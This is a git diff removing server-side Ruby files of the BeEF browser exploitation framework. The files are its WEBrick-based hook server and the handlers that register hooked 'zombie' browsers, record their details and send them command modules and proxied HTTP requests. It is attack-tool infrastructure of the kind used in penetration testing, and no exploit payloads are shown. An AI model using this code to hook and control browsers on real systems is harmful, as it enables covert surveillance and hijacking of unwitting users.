boundary=(.+)/ - boundary = HTTPUtils::dequote($1) - @query = HTTPUtils::parse_form_data(body, boundary) - else - @query = Hash.new - end - rescue => ex - raise HTTPStatus::BadRequest, ex.message - end - end - - def get_cookie_value(name) - - return nil if name.nil? - - @cookies.each{|cookie| - c = WEBrick::Cookie.parse_set_cookie(cookie.to_s) - return c.value if (c.name.to_s.eql? name) - } - - nil - - end - - def get_referer_domain - - referer = header['referer'][0] - - if referer =~ /\:\/\/([0-9a-zA-A\.]*(\:[0-9]+)?)\// - return $1 - end - - nil - - end - - def get_hook_session_id() - - config = BeEF::Configuration.instance - hook_session_name = config.get('hook_session_name') - - @query[hook_session_name] || nil - - end - - # return the command module command_id value from the request - def get_command_id() - @query['command_id'] || nil - end - - - end - -end \ No newline at end of file diff --git a/lib/patches/webrick/httpresponse.rb b/lib/patches/webrick/httpresponse.rb deleted file mode 100644 index 83114c6f8..000000000 --- a/lib/patches/webrick/httpresponse.rb +++ /dev/null @@ -1,75 +0,0 @@ -# The following file contains patches for WEBrick. -module WEBrick - - class HTTPResponse - - # - # set caching headers none - # - def set_no_cache() - @header['ETag'] = nil - @header['Last-Modified'] = Time.now + 100**4 - @header['Expires'] = Time.now - 100**4 - @header['Cache-Control'] = 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0' - @header['Pragma'] = 'no-cache' - end - - # - # set the cookie in the response - # Limit: only one set-cookie will be within the response - # - def set_cookie(name, value, path = '/', httponly = true, secure = true) - - cookie = WEBrick::Cookie.new(name, value) - cookie.path = path - cookie.httponly = httponly - cookie.secure = secure - - # add cookie to response header - @header['Set-Cookie'] = cookie.to_s - end - - # - # This patch should prevent leakage of directory listing, access - # auth errors, etc. - # - def set_error(ex, backtrace=false) - - # set repsonse headers - @status = 404; - @header['content-type'] = "text/html; charset=UTF-8" - - # set response content - @body = '' - @body << <<-_end_of_html_ - - - - No page for you! - - - - - - - - -
- -

These aren't the pages you're looking for

- -
- - - - _end_of_html_ - - end - end -end diff --git a/lib/patches/webrick/httpservlet/filehandler.rb b/lib/patches/webrick/httpservlet/filehandler.rb deleted file mode 100644 index 33886c9be..000000000 --- a/lib/patches/webrick/httpservlet/filehandler.rb +++ /dev/null @@ -1,32 +0,0 @@ -# The following file contains patches for WEBrick. - -module WEBrick -module HTTPServlet - - class FileHandler - - # prevent directory traversal attacks - def prevent_directory_traversal(req, res) - raise WEBrick::HTTPStatus::BadRequest, "null character in path" if has_null?(req.path_info) - - if trailing_pathsep?(req.path_info) - expanded = File.expand_path(req.path_info + "x") - expanded.chop! # remove trailing "x" - else - expanded = File.expand_path(req.path_info) - end - req.path_info = expanded - end - - # checks if a string contains null characters - def has_null? (str) - str.split(//).each {|c| - return true if c.eql?("\000") - } - false - end - - end - -end -end diff --git a/lib/server/assethandler.rb b/lib/server/assethandler.rb deleted file mode 100644 index 83f9428f7..000000000 --- a/lib/server/assethandler.rb +++ /dev/null @@ -1,74 +0,0 @@ -module BeEF - - # - # Class defining BeEF assets - # - class AssetHandler - - # call BeEF::AssetHanlder.instance - include Singleton - - attr_reader :allocations, :root_dir - - def initialize - @allocations = {} - @http_server = BeEF::HttpHookServer.instance - @root_dir = File.expand_path('../../../', __FILE__) - end - - # - # Binds a file to a mount point - # - def bind(file, path=nil, extension=nil, count=-1) - url = buildURL(path, extension) - @allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count} - @http_server.mount(url, true, BeEF::FileHandler, @allocations[url]['file']) - puts "+ File [" + "#{root_dir}"+file + "] binded to url [" + url + "]" - return url - end - - # - # Unbinds a file from a mount point - # - def unbind(url) - @allocations.delete(url) - @http_server.unmount(url, true) - end - - # - # Builds a URL based on the path and extention, if neither are passed a random URL will be generated - # - def buildURL(path, extension, length=20) - url = (path == nil) ? '/'+rand(36**length).to_s(36) : path; - url += (extension == nil) ? '' : '.'+extension; - return url - end - - # - # Checks if the file is allocated, if the file isn't return true to pass onto FileHandler. - # - def check(url) - if @allocations.has_key?(url) - count = @allocations[url]['count'] - if count == -1 - return true - end - if count > 0 - if (count - 1) == 0 - unbind(url) - else - @allocations[url]['count'] = count - 1 - end - return true - end - end - return false - end - - private - @http_server - @allocations - - end - -end diff --git a/lib/server/commandhandler.rb b/lib/server/commandhandler.rb deleted file mode 100644 index c242239d0..000000000 --- a/lib/server/commandhandler.rb +++ /dev/null @@ -1,57 +0,0 @@ -module BeEF - - class CommandHandler - - include BeEF::Server::Modules::Common - - attr_reader :guard - @data = {} - - def initialize(data, kclass) - @guard = Mutex.new - @kclass = BeEF::Modules::Commands.const_get(kclass.capitalize) - @data = data - setup() - end - - def setup() - @http_params = @data['request'].query # used to populate datastore - @http_header = @data['request'].header # used to populate datastore - @http_header['referer'] ||= '' # used to populate datastore - - # get and check command id from the request - command_id = get_param(@data, 'cid') - # ruby filter needs to be updated to detect fixnums not strings - command_id = command_id.to_s() - raise WEBrick::HTTPStatus::BadRequest, "command_id is invalid" if not BeEF::Filter.is_valid_command_id?(command_id.to_s()) - - # get and check session id from the request - beefhook = get_param(@data, 'beefhook') - raise WEBrick::HTTPStatus::BadRequest, "beefhook is invalid" if not BeEF::Filter.is_valid_hook_session_id?(beefhook) - - @guard.synchronize { - # create the command module to handle the response - command = @kclass.new # create the commamd module - command.build_callback_datastore(@http_params, @http_header) # build datastore from the response - command.session_id = beefhook - command.callback # call the command module's callback function - it will parse and save the results - - # get/set details for datastore and log entry - command_friendly_name = command.friendlyname - raise WEBrick::HTTPStatus::BadRequest, "command friendly name empty" if command_friendly_name.empty? - command_results = get_param(@data, 'results') - raise WEBrick::HTTPStatus::BadRequest, "command results empty" if command_results.empty? - # save the command module results to the datastore and create a log entry - command_results = {'type' => command_results.class, 'data' => command_results} - BeEF::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results) - } - end - - def get_param(query, key) - return (query.class == Hash and query.has_key?(key)) ? query[key] : nil - end - - end - - -end diff --git a/lib/server/dynamichandler.rb b/lib/server/dynamichandler.rb deleted file mode 100644 index b7f5228ed..000000000 --- a/lib/server/dynamichandler.rb +++ /dev/null @@ -1,90 +0,0 @@ -module BeEF - - #DynamicHanlder is used reconstruct segmented traffic from the zombies - - class DynamicHandler < WEBrick::HTTPServlet::AbstractServlet - - attr_reader :guard - - #holds packet queue - PQ = Array.new() - - #obtain dynamic mount points from HttpHookServer - MOUNTS = BeEF::HttpHookServer.instance.mounts - - #Combines packet information and pushes to PQ, then checks packets - def do_POST(request, response) - @request = request - response.body = '' - PQ << { - :beefhook => get_param(@request.query, 'bh'), - :stream_id => Integer(get_param(@request.query, 'sid')), - :packet_id => Integer(get_param(@request.query, 'pid')), - :packet_count => Integer(get_param(@request.query, 'pc')), - :data => get_param(@request.query, 'd') - } - check_packets() - end - - alias do_GET do_POST - - #check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets - def check_packets() - checked = Array.new() - PQ.each do |packet| - if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id]))) - next - end - checked << packet[:beefhook]+':'+String(packet[:stream_id]) - pc = 0 - PQ.each do |p| - if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id]) - pc += 1 - end - end - if (packet[:packet_count] == pc) - #better way than sorting the entire array? - PQ.sort_by { |s| s[:packet_id] } - data = '' - PQ.each_with_index do |sp,i| - if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id]) - data += sp[:data] - end - end - - data = JSON.parse(Base64.decode64(data)).first - data['beefhook'] = packet[:beefhook] - data['request'] = @request - data['beefsession'] = @request.get_hook_session_id() - expunge(packet[:beefhook], packet[:stream_id]) - execute(data) - end - end - end - - #delete packets that have been reconstructed - def expunge(beefhook, stream_id) - PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } - end - - #execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler - def execute(data) - handler = get_param(data, 'handler') - if (MOUNTS.has_key?(handler)) - if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2) - MOUNTS[handler][0].new(data, MOUNTS[handler][1]) - else - MOUNTS[handler].new(data) - end - end - end - - #assist function for getting parameter from hash - def get_param(query, key) - return nil if query[key].nil? - query[key] - end - - end - -end diff --git a/lib/server/eventhandler.rb b/lib/server/eventhandler.rb deleted file mode 100644 index b071a276e..000000000 --- a/lib/server/eventhandler.rb +++ /dev/null @@ -1,59 +0,0 @@ -module BeEF - - # - # The http handler that manages the Events. - # - class EventHandler < WEBrick::HTTPServlet::AbstractServlet - - attr_reader :guard - - H = BeEF::Models::Http - Z = BeEF::Models::Zombie - - # - # Class constructor - # - def initialize(config) - # we set up a mutex - @guard = Mutex.new - end - - # - # This function receives any POST http requests. We only - # allow the hooked browser to send back results using POST. - # - def do_POST(request, response) - @params = request.query - - # validates the hook token - #beef_hook = request.query['BEEFHOOK'] || nil - beef_hook = request.get_hook_session_id() - raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil? - - # validates that a hooked browser with the beef_hook token exists in the db - zombie = Z.first(:session => beef_hook) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie.nil? - - #event_string = request.query['event_string'] || nil - #raise WEBrick::HTTPStatus::BadRequest, "event_string is null" if event_string.nil? - - @params.each{|k,v| - if k[0..5] == "stream" - BeEF::Logger.instance.register('Event', v, zombie.id) - end - } - - #BeEF::Logger.instance.register('Zombie', "#{zombie.ip}: #{event_string}", "#{zombie.id}") - - response.set_no_cache() - response.header['Content-Type'] = 'text/javascript' - response.header['Access-Control-Allow-Origin'] = '*' - response.header['Access-Control-Allow-Methods'] = 'POST' - response.body = '' - end - - alias do_GET do_POST - - end - -end \ No newline at end of file diff --git a/lib/server/filehandler.rb b/lib/server/filehandler.rb deleted file mode 100644 index ab3f2f35d..000000000 --- a/lib/server/filehandler.rb +++ /dev/null @@ -1,21 +0,0 @@ -module BeEF - - # - # Custom FileHandler to deal with tracked files - # - class FileHandler < WEBrick::HTTPServlet::FileHandler - - # - # Override to do_GET to check tracked files - # - def do_GET(req, res) - if not BeEF::AssetHandler.instance.check(req.path) - raise HTPPStatus::NotFound, "`#req.path}` not found." - else - super - end - end - - end - -end diff --git a/lib/server/httpcontroller.rb b/lib/server/httpcontroller.rb deleted file mode 100644 index b3e45d94f..000000000 --- a/lib/server/httpcontroller.rb +++ /dev/null @@ -1,96 +0,0 @@ -module BeEF - - # - # Handle HTTP requests and call the relevant functions in the derived classes - # - class HttpController - - attr_accessor :headers, :status, :body, :paths, :currentuser, :params - - C = BeEF::Models::Command - CM = BeEF::Models::CommandModule - Z = BeEF::Models::Zombie - - # - # Class constructor. Takes data from the child class and populates itself with it. - # - def initialize(data = {}) - @erubis = nil - @status = 200 if data['status'].nil? - - @headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil? - - if data['paths'].nil? and self.methods.include? "index" - @paths = {'index' => '/'} - else - @paths = data['paths'] - end - end - - # - # Handle HTTP requests and call the relevant functions in the derived classes - # - def run(request, response) - @request = request - @params = request.query - @session = BeEF::UI::Session.instance - auth_url = '/ui/authentication' - - # test if session is unauth'd and whether the auth functionality is requested - if not @session.valid_session?(@request) and not self.class.eql?(BeEF::UI::Authentication) - @body = page_redirect(auth_url) # redirect to auth page - return - end - - # get the mapped function (if it exists) from the derived class - path = request.path_info - raise WEBrick::HTTPStatus::BadRequest, "path is invalid" if not Filter::is_valid_path_info?(path) - function = @paths[path] || @paths[path + '/'] # check hash for '' and '/' - raise WEBrick::HTTPStatus::BadRequest, "path does not exist" if function.nil? - - # call the relevant mapped function - function.call - - # build the template filename and apply it - if the file exists - function_name = function.name # used for filename - class_s = self.class.to_s.sub('BeEF::UI::', '').downcase # used for directory name - template_ui = "#{$root_dir}/lib/ui/#{class_s}/#{function_name}.html" - @eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file - @body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response - - # set content type - if @headers['Content-Type'].nil? - @headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages - @headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /.json$/ - end - - end - - # Constructs a redirect page - def page_redirect(location) "" + script_redirect(location) + "" end - - # Constructs a redirect script - def script_redirect(location) "" end - - # Constructs a html script tag - def script_tag(filename) "" end - - # Constructs a html stylesheet tag - def stylesheet_tag(filename) "" end - - # Constructs a hidden html nonce tag - def nonce_tag - @session = BeEF::UI::Session.instance - "" - end - - private - - @eruby - - # Unescapes a URL-encoded string. - def unescape(s); s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')} end - - end - -end \ No newline at end of file diff --git a/lib/server/httphandler.rb b/lib/server/httphandler.rb deleted file mode 100644 index 4442b7eee..000000000 --- a/lib/server/httphandler.rb +++ /dev/null @@ -1,38 +0,0 @@ -module BeEF - - class HttpHandler < WEBrick::HTTPServlet::AbstractServlet - - attr_reader :guard - - # - # - # - def initialize(config, klass) - super - @guard = Mutex.new - @klass = BeEF::UI.const_get(klass.to_s.capitalize) - end - - def do_GET(request, response) - @request = request - @response = response - - controller = nil - @guard.synchronize { - controller = @klass.new - controller.run(@request, @response) - } - - response.header.replace(controller.headers) - response.body = controller.body.to_s - end - - private - - @request - @response - - alias do_POST do_GET - end - -end \ No newline at end of file diff --git a/lib/server/httphookserver.rb b/lib/server/httphookserver.rb deleted file mode 100644 index 9edee88b1..000000000 --- a/lib/server/httphookserver.rb +++ /dev/null @@ -1,153 +0,0 @@ -module BeEF - - # - # Class defining the BeEF http server. - # - class HttpHookServer - - # call BeEF::Server.instance - include Singleton - - VERSION = BeEF::Configuration.instance.get('beef_version') - - attr_reader :root_dir, :url, :configuration, :command_urls, :mounts - - def initialize - @configuration = BeEF::Configuration.instance - beef_host = @configuration.get("http_public") || @configuration.get("http_host") - @url = "http://#{beef_host}:#{@configuration.get("http_port")}" - @root_dir = File.expand_path('../../../', __FILE__) - @command_urls = {} - @mounts = {} - end - - # - # Returns all server variables in a hash. Useful for Erubis when - # generating the javascript for the command modules and hooking. - # - def to_h - { - 'beef_version' => VERSION, - 'beef_url' => @url, - 'beef_root_dir' => @root_dir, - 'beef_host' => BeEF::Configuration.instance.get('http_host'), - 'beef_port' => BeEF::Configuration.instance.get('http_port'), - 'beef_dns' => BeEF::Configuration.instance.get('http_dns'), - 'beef_hook' => BeEF::Configuration.instance.get('hook_file') - } - end - - # - # - # - def register_command_url(command_path, uri) - end - - # - # - # - def get_command_url(command_path) - if not @command_urls[command_path].nil? then return @command_urls[command_path]; else return command_path; end - end - - # - # Starts the BeEF http server. - # - def start - if not @http_server - config = {} - config[:BindAddress] = @configuration.get('http_host') - config[:Port] = @configuration.get('http_port') - config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR) - config[:ServerName] = "BeEF " + VERSION - config[:ServerSoftware] = "BeEF " + VERSION - - @http_server = WEBrick::HTTPServer.new(config) - @asset_handler = BeEF::AssetHandler.instance - - # registers the ui pages - Dir["#{$root_dir}/lib/ui/**/*.rb"].each { |http_module| - require http_module - mod_name = File.basename http_module, '.rb' - mount("/ui/#{mod_name}", true, BeEF::HttpHandler, mod_name) - } - - # registers the hook page - mount("#{@configuration.get("hook_file")}", true, BeEF::ZombieHandler) - mount('/ui/public', true, BeEF::PublicHandler, "#{root_dir}/public") - mount('/favicon.ico', true, WEBrick::HTTPServlet::FileHandler, "#{root_dir}#{@configuration.get("favicon_dir")}/#{@configuration.get("favicon_file_name")}") - mount('/demos/', true, WEBrick::HTTPServlet::FileHandler, "#{root_dir}/demos/") - - #dynamic handler - mount('/dh', true, BeEF::DynamicHandler) - - #register mounts handled by dynamic handler - mount('/init', false, BeEF::InitHandler) - mount('/event', false, BeEF::EventHandler) - mount('/requester', false, BeEF::RequesterHandler) - - # registers the command module pages - Dir["#{root_dir}/modules/commands/**/*.rb"].each { |command| - command_class = (File.basename command, '.rb').capitalize - command_file = (File.basename command, '.rb')+'.js' - mount("/command/#{command_file}", false, BeEF::CommandHandler, command_class) - } - - trap("INT") { BeEF::HttpHookServer.instance.stop } - - @http_server.start - end - end - - # - # Stops the BeEF http server. - # - def stop; - if @http_server - @http_server.shutdown - puts ' --[ BeEF server stopped' - end - end - - # - # Restarts the BeEF http server. - # - def restart; stop; start; end - - # - # Mounts a handler, can either be a hard or soft mount (soft mounts are handled by the command handler - # - def mount(url, hard, c, args = nil) - if hard - if args == nil - @http_server.mount url, c - else - @http_server.mount url, c, *args - end - else - if args == nil - mounts[url] = c - else - mounts[url] = c, *args - end - end - end - - # - # Unmounts handler - # - def unmount(url, hard) - if hard - @http_server.umount(url) - else - mounts.delete(url) - end - end - - private - @http_server - @asset_handler - - end - -end diff --git a/lib/server/inithandler.rb b/lib/server/inithandler.rb deleted file mode 100644 index 2803fefc2..000000000 --- a/lib/server/inithandler.rb +++ /dev/null @@ -1,95 +0,0 @@ -module BeEF - - # - # The http handler that manages the return of the initial browser details. - # - class InitHandler - - attr_reader :guard - @data = {} - - HB = BeEF::Models::Zombie - BD = BeEF::Models::BrowserDetails - - def initialize(data) - @guard = Mutex.new - @data = data - setup() - end - - def setup() - # validate hook session value - session_id = get_param(@data, 'beefhook') - raise WEBrick::HTTPStatus::BadRequest, "session id is invalid" if not Filter.is_valid_hook_session_id?(session_id) - hooked_browser = HB.first(:session => session_id) - return if not hooked_browser.nil? # browser is already registered with framework - - # create the structure repesenting the hooked browser - zombie = BeEF::Models::Zombie.new(:ip => @data['request'].peeraddr[3], :session => session_id) - zombie.firstseen = Time.new.to_i - zombie.httpheaders = @data['request'].header.to_json - @guard.synchronize { - zombie.save # the save needs to be conducted before any hooked browser specific logging - } - - # add a log entry for the newly hooked browser - log_zombie_domain = zombie.domain - log_zombie_domain = "(blank)" if log_zombie_domain.nil? or log_zombie_domain.empty? - BeEF::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}", "#{zombie.id}") - # get and store browser name - browser_name = get_param(@data['results'], 'BrowserName') - raise WEBrick::HTTPStatus::BadRequest, "Invalid browser name" if not Filter.is_valid_browsername?(browser_name) - BD.set(session_id, 'BrowserName', browser_name) - - # get and store browser version - browser_version = get_param(@data['results'], 'BrowserVersion') - raise WEBrick::HTTPStatus::BadRequest, "Invalid browser version" if not Filter.is_valid_browserversion?(browser_version) - BD.set(session_id, 'BrowserVersion', browser_version) - - # get and store browser string - browser_string = get_param(@data['results'], 'BrowserReportedName') - raise WEBrick::HTTPStatus::BadRequest, "Invalid browser browser string" if not Filter.is_valid_browserstring?(browser_string) - BD.set(session_id, 'BrowserReportedName', browser_string) - - # get and store the os name - os_name = get_param(@data['results'], 'OsName') - raise WEBrick::HTTPStatus::BadRequest, "Invalid browser os name" if not Filter.is_valid_osname?(os_name) - BD.set(session_id, 'OsName', os_name) - - # get and store page title - page_title = get_param(@data['results'], 'PageTitle') - raise WEBrick::HTTPStatus::BadRequest, "Invalid page title name" if not Filter.is_valid_pagetitle?(page_title) - BD.set(session_id, 'PageTitle', page_title) - - # get and store page title - host_name = get_param(@data['results'], 'HostName') - raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name) - BD.set(session_id, 'HostName', host_name) - - # get and store the browser plugins - browser_plugins = get_param(@data['results'], 'BrowserPlugins') - raise WEBrick::HTTPStatus::BadRequest, "Invalid browser plugins" if not Filter.is_valid_browser_plugins?(browser_plugins) - BD.set(session_id, 'BrowserPlugins', browser_plugins) - - # get and store the internal ip address - internal_ip = get_param(@data['results'], 'InternalIP') - if not internal_ip.nil? - raise WEBrick::HTTPStatus::BadRequest, "Invalid internal IP address" if not Filter.is_valid_ip?(internal_ip) - BD.set(session_id, 'InternalIP', internal_ip) - end - - # get and store the internal hostname - internal_hostname = get_param(@data['results'], 'InternalHostname') - if not internal_hostname.nil? - raise WEBrick::HTTPStatus::BadRequest, "Invalid internal host name" if not Filter.is_valid_hostname?(host_name) - BD.set(session_id, 'InternalHostname', internal_hostname) - end - end - - def get_param(query, key) - return (query.class == Hash and query.has_key?(key)) ? query[key] : nil - end - - end - -end diff --git a/lib/server/modules/common.rb b/lib/server/modules/common.rb deleted file mode 100644 index 8507cf660..000000000 --- a/lib/server/modules/common.rb +++ /dev/null @@ -1,142 +0,0 @@ -module BeEF -module Server -module Modules - - # - # Purpose: avoid rewriting several times the same code. - # - module Common - - # - # Builds the default beefjs library (all default components of the library). - # - # @param: {Object} the hook session id - # @param: {Boolean} if the framework is already loaded in the hooked browser - # - def build_beefjs!(req_host) - - # set up values required to construct beefjs - beefjs = '' # init the beefjs string (to be sent as the beefjs file) - beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files - js_sub_files = %w(lib/jquery-1.5.min.js lib/evercookie.js beef.js browser.js browser/cookie.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js) - - # construct the beefjs string from file(s) - js_sub_files.each {|js_sub_file_name| - js_sub_file_abs_path = beefjs_path + js_sub_file_name # construct absolute path - beefjs << (File.read(js_sub_file_abs_path) + "\n\n") # concat each js sub file - } - - # create the config for the hooked browser session - config = BeEF::Configuration.instance - hook_session_name = config.get('hook_session_name') - hook_session_config = BeEF::HttpHookServer.instance.to_h - - # if http_host="0.0.0.0" in config ini, use the host requested by client - if hook_session_config['beef_host'].eql? "0.0.0.0" - hook_session_config['beef_host'] = req_host - hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) - end - - # populate place holders in the beefjs string and set the response body - eruby = Erubis::FastEruby.new(beefjs) - @body << eruby.evaluate(hook_session_config) - - end - - # - # Finds the path to js components - # - def find_beefjs_component_path(component) - component_path = '/'+component - component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') - component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js" - - return false if not File.exists? component_path - - component_path - end - - # - # Builds missing beefjs components. - # - # Ex: build_missing_beefjs_components(['beef.net.local', 'beef.net.requester']) - # - def build_missing_beefjs_components(beefjs_components) - # verifies that @beef_js_cmps is not nil to avoid bugs - @beef_js_cmps = '' if @beef_js_cmps.nil? - - if beefjs_components.is_a? String - beefjs_components_path = find_beefjs_component_path(beefjs_components) - raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} - end - - beefjs_components.keys.each {|k| - next if @beef_js_cmps.include? beefjs_components[k] - - # path to the component - component_path = beefjs_components[k] - - # we output the component to the hooked browser - @body << File.read(component_path)+"\n\n" - - # finally we add the component to the list of components already generated so it does not - # get generated numerous times. - if @beef_js_cmps.eql? '' - @beef_js_cmps = component_path - else - @beef_js_cmps += ",#{component_path}" - end - } - end - - # - # Adds the command module instructions to the http response. - # - def add_command_instructions(command, zombie) - - raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil? - raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if zombie.session.nil? - raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if command.nil? - raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if command.command_module_id.nil? - - # get the command module - command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id) - raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil? - raise WEBrick::HTTPStatus::BadRequest, "command_module.path is nil" if command_module.path.nil? - - klass = File.basename command_module.path, '.rb' - - @guard.synchronize { - command_module = BeEF::Modules::Commands.const_get(klass.capitalize).new - command_module.command_id = command.id - command_module.session_id = zombie.session - command_module.build_datastore(command.data) - command_module.pre_send - - build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? - - @body << command_module.output + "\n\n" - - puts "+ Hooked browser #{zombie.ip} sent command module #{klass}" if @cmd_opts[:verbose] - - } - - # flag that the command has been sent to the hooked browser - command.instructions_sent = true - command.save - end - - # - # Executes every plugins in the framework. - # - def execute_plugins! - - end - - end - -end -end -end diff --git a/lib/server/modules/requester.rb b/lib/server/modules/requester.rb deleted file mode 100644 index 9d0d1b984..000000000 --- a/lib/server/modules/requester.rb +++ /dev/null @@ -1,94 +0,0 @@ -module BeEF -module Server -module Modules - - # - # Module containing all the functions to run the Requester. - # - # That module is dependent on 'Common'. Hence to use it, - # your code also needs to include that module. - # - module Requester - - # - # Runs the Requester - # - def requester_run(zombie) - # we generate all the requests and output them to the hooked browser - output = [] - BeEF::Models::Http.all(:zombie_id => zombie.id, :has_ran => false).each {|h| - output << requester_parse_db_request(h) - } - - # we stop here of our output in empty, that means they aren't any requests to send - return if output.empty? - - # we build the beefjs requester component - build_missing_beefjs_components 'beef.net.requester' - - # we send the command to perform the requests to the hooked browser - @body << %Q{ - beef.execute(function() { - beef.net.requester.send( - #{output.to_json} - ); - }); - } - end - - # - # Converts a HTTP DB Object into a BeEF JS command that - # can be executed by the hooked browser. - # - def requester_parse_db_request(http_db_object) - req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP) - params = nil - - begin - s = StringIO.new http_db_object.request - req.parse(s) - rescue Exception => e - # if an exception is caught, we display it in the console but do not - # stong beef from executing. That is because we do not want to stop - # attacking the hooked browser because of a malformed request. - puts e.message - puts e.backtrace - return - end - - # Handling post requests - if not req['content-length'].nil? and req.content_length > 0 - params = [] - # if the content length is invalid, webrick crashes. Hence we try to catch any exception - # here and continue execution. - begin - req.query.keys.each{|k| params << "#{k}=#{req.query[k]}"} - params = params.join '&' - rescue Exception => e - puts e.message - puts e.backtrace - return - end - end - - # creating the request object - http_request_object = { - 'id' => http_db_object.id, - 'method' => req.request_method, - 'host' => req.host, - 'port' => req.port, - 'params' => params, - 'uri' => req.unparsed_uri, - 'headers' => {} - } - - req.header.keys.each{|key| http_request_object['headers'][key] = req.header[key]} - - http_request_object - end - - end - -end -end -end \ No newline at end of file diff --git a/lib/server/publichandler.rb b/lib/server/publichandler.rb deleted file mode 100644 index 5b5bbb24e..000000000 --- a/lib/server/publichandler.rb +++ /dev/null @@ -1,21 +0,0 @@ -module BeEF - -class PublicHandler < WEBrick::HTTPServlet::FileHandler - - def do_GET(req, res) - super - - # set content types - res.header['content-type']='text/html' # default content type for all pages - res.header['content-type']='text/javascript' if req.path =~ /.json$/ - res.header['content-type']='text/javascript' if req.path =~ /.js$/ - res.header['content-type']='text/css' if req.path =~ /.css$/ - res.header['content-type']='image/png' if req.path =~ /.png$/ - res.header['content-type']='image/gif' if req.path =~ /.gif$/ - res.header['content-type']='text/xml' if req.path =~ /.xml$/ - - end - -end - -end \ No newline at end of file diff --git a/lib/server/requesterhandler.rb b/lib/server/requesterhandler.rb deleted file mode 100644 index d475aac0c..000000000 --- a/lib/server/requesterhandler.rb +++ /dev/null @@ -1,57 +0,0 @@ -module BeEF - - # - # The http handler that manages the Requester. - # - class RequesterHandler < WEBrick::HTTPServlet::AbstractServlet - - attr_reader :guard - - H = BeEF::Models::Http - Z = BeEF::Models::Zombie - - # - # Class constructor - # - def initialize(data) - @guard = Mutex.new - @data = data - setup() - end - - def setup() - # validates the hook token - beef_hook = @data['beefhook'] || nil - raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil? - # validates the request id - request_id = @data['cid'] || nil - raise WEBrick::HTTPStatus::BadRequest, "request_id is null" if request_id.nil? - - # validates that a hooked browser with the beef_hook token exists in the db - zombie_db = Z.first(:session => beef_hook) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie_db.nil? - - # validates that we have such a http request saved in the db - http_db = H.first(:id => request_id.to_i, :zombie_id => zombie_db.id) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil? - - # validates that the http request has not be ran before - raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? true - - # validates the body - - body = @data['results'] || nil - raise WEBrick::HTTPStatus::BadRequest, "body is null" if body.nil? - - @guard.synchronize { - # save the results in the database - http_db.response = body - http_db.has_ran = true - http_db.save - } - - end - - end - -end \ No newline at end of file diff --git a/lib/server/zombiehandler.rb b/lib/server/zombiehandler.rb deleted file mode 100644 index e54d0f3c6..000000000 --- a/lib/server/zombiehandler.rb +++ /dev/null @@ -1,98 +0,0 @@ -module BeEF - - # - # This class handles connections from zombies to the framework. - # - class ZombieHandler < WEBrick::HTTPServlet::AbstractServlet - - include BeEF::Server::Modules::Common - include BeEF::Server::Modules::Requester - - attr_reader :guard - - def initialize(config) - @guard = Mutex.new - @cmd_opts = BeEF::Console::CommandLine.parse - @session = BeEF::UI::Session.instance - end - - # - # This method processes the http requests sent by a zombie to the framework. - # It will update the database to add or update the current zombie and deploy - # some command modules or plugins. - # - def do_GET(request, response) - @body = '' - @params = request.query - @request = request - @response = response - config = BeEF::Configuration.instance - - # check source ip address of browser - permitted_hooking_subnet = config.get('permitted_hooking_subnet') - target_network = IPAddr.new(permitted_hooking_subnet) - if not target_network.include?(request.peeraddr[3].to_s) - BeEF::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.") - @response.set_error(nil) - return - end - - # get zombie if already hooked the framework - hook_session_id = request.get_hook_session_id() - hooked_browser = BeEF::Models::Zombie.first(:session => hook_session_id) if not hook_session_id.nil? - - if not hooked_browser # is a new browser so return instructions to set up the hook - - # generate the instructions to hook the browser - host_name = @request.host # get the host from the HOST attribute in the HTTP header - raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name) - build_beefjs!(host_name) - - else # is a known browseer so send instructions - - # record the last poll from the browser - hooked_browser.lastseen = Time.new.to_i - - hooked_browser.count! - hooked_browser.save - - execute_plugins! - - # add all availible command module 